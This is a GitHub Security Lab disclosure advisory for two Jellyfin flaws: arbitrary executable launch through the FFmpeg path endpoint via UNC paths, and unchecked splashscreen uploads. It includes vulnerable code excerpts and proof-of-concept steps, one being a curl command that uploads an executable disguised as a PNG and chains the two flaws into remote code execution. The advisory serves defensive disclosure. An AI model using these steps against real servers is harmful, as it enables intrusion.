Coordinated Disclosure Timeline

Summary

A user with administrator permissions is able to run arbitrary code on the jellyfin server via the /System/MediaEncoder/Path endpoint.

Product

jellyfin

Tested Version

Latest

Details

Issue 1: Remote Code Execution in /System/MediaEncoder/Path via UNC paths (GHSL-2023-029)

The /System/MediaEncoder/Path endpoint executes an arbitrary file using ProcessStartInfovia the ValidateVersion function. A malicious administrator can setup a network share and supply a UNC path to /System/MediaEncoder/Path which points to an executable on the network share, causing jellyfin server to run the executable in the local context.

public bool ValidateVersion()
        {
            string output;
            try
            {
                output = GetProcessOutput(_encoderPath, "-version", false, null);
            }

This vulnerabilty was found with the help of CodeQL’s C# Query.

Proof of Concept:

  1. Ensure that you are a user that has administration privileges and can access RequiresElevation APIs.
  2. Go into the jellyfin web front end and set the Playback -> FFmpeg path to the path of your executable: \\IP_ADDRESS\SHARE\MALICIOUS_EXECUTABLE
  3. Click Save. This should send an authenticated request to /System/MediaEncoder/Path endpoint and execute your file.

    Note: I was having some trouble authenticating via curl to the API directly for the /System/MediaEncoder/Path so I have suggested using the web-ui instead.

Issue 2: Insufficient checks on SplashScreen file type (GHSL-2023-028)

The /Branding/Splashscreen endpoint does not sufficiently validate file types. It uses the content type specified by the request header to create the extension for the file, but does not check the type of the file itself.

	var mimeType = MediaTypeHeaderValue.Parse(Request.ContentType).MediaType;

	if (!mimeType.HasValue)
            {
                return BadRequest("Error reading mimetype from uploaded image");
            }

     var extension = MimeTypes.ToExtension(mimeType.Value);
      if (string.IsNullOrEmpty(extension))
            {
                return BadRequest("Error converting mimetype to an image extension");
            }

      var filePath = Path.Combine(_appPaths.DataPath, "splashscreen-upload" + extension);

We can upload an executable by giving a valid content type such as image/png. This can be combined with the /System/MediaEncoder/Path endpoint in order to achieve Remote Code Execution (RCE).

Proof of Concept:

  1. Ensure that you are a user that has administration privileges and can access RequiresElevation APIs.
  2. Create an executable that you wish to execute on the system and encode it in base64.
  3. Run the command curl -v -H "Content-Type:image/png" -d @base64executable http://localhost:server_port/Branding/Splashscreen?api_key=<YOUR API KEY> to upload the executable.
  4. Go into the jellyfin web front end and set the Playback -> FFmpeg path to the path of your executable: $(_appPaths.DataPath)/splashscreen-upload.png
  5. Click Save. This should send an authenticated request to /System/MediaEncoder/Path endpoint and execute your file.

    Note: ProcessStartInfo ignores the extension given to the splashscreen-upload file and runs the executable.

Impact

This issue may lead to post-auth Remote Code Execution.

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-028 or GHSL-2023-029 in any communication regarding this issue.